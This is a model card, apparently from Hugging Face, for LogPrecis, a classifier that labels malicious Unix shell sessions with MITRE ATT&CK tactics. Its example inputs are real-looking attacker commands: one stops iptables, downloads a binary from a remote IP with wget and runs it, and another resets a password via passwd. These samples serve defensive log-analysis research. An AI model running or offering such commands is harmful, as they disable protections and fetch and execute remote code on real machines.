File size: 2,097 Bytes
2fd80f4
 
8143a12
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
01da500
8143a12
2fd80f4
 
f7704c8
9e716dc
80e3abb
14cb9af
9e716dc
 
 
 
 
 
 
 
 
 
 
14cb9af
9e716dc
 
 
 
 
c7aeae0
9e716dc
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
---
widget:
- text: >-
    etc/init.d/iptables stop ; wget –c http://10.10.10.10:8080/exec ; chmod 777
    exec ; ./exec ;
- text: >-
    cat /proc/cpuinfo | grep name | wc -l ; echo -e pcnv81k7W9cAOnonv81k7W9cAOno
    | passwd | bash ; echo pcnv81k7W9cAOnonv81k7W9cAOnon | passwd ; echo 321 >
    /var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 ; cat
    /var/tmp/.var03522123 | head -n 1 ; cat /proc/cpuinfo | grep name | head -n
    1 | awk {print $4,$5,$6,$7,$8,$9;} ; free -m | grep Mem | awk {print $2 ,$3,
    $4, $5, $6, $7} ; ls -lh $which ls ; crontab -l ; w ; uname -m ; cat
    /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ; uname -a ;
    lscpu | grep Model ; echo admin pc > /tmp/up.txt ; rm -rf /var/tmp/dota* ;
- text: >-
    which awk ; echo ywp6g8mu8yv2 ; echo nuw38vipcor9 | awk {print
    toupper$0\"f3\"} | grep -o .....$ ; which awk ; echo wnxsrab3910m ; echo
    05wm3lz34a21 | awk {print toupper$0\"fs\"} | grep -o .....$ ;
- text: cat /bin/echo ;
license: apache-2.0
---

[LogPrecis](https://www.sciencedirect.com/science/article/pii/S0167404824001068) is a model fine-tuned for **Token Classification**. 

The base model is [SecureShellBert](https://huggingface.co/SmartDataPolito/SecureShellBert), a [Codebert](https://huggingface.co/microsoft/codebert-base) previously domain-adapted using a corpus of **>20k Unix sessions**. Later, it was further finetuned on the task of **Token Classification** with **360 labelled examples**.


Specifically, LogPrecis is designed for the analysis of **malicious Unix logs**. Given as input a Unix session:

```shell
etc/init.d/iptables stop ; wget –c http://10.10.10.10:8080/exec ; chmod 777 exec ; ./exec ;
```

LogPrecis outputs the sequence of [Mitre Tactics](https://attack.mitre.org/tactics/enterprise/):

`Impact x 3 -- Execution x 10`

LogPrecis achieved a **91.2% accuracy** on the test set. Its training code, data and training details are available on SmartData's [GitHub](https://github.com/SmartData-Polito/logprecis). 

---
metrics:
- accuracy
- rouge
  
pipeline_tag: token-classification
---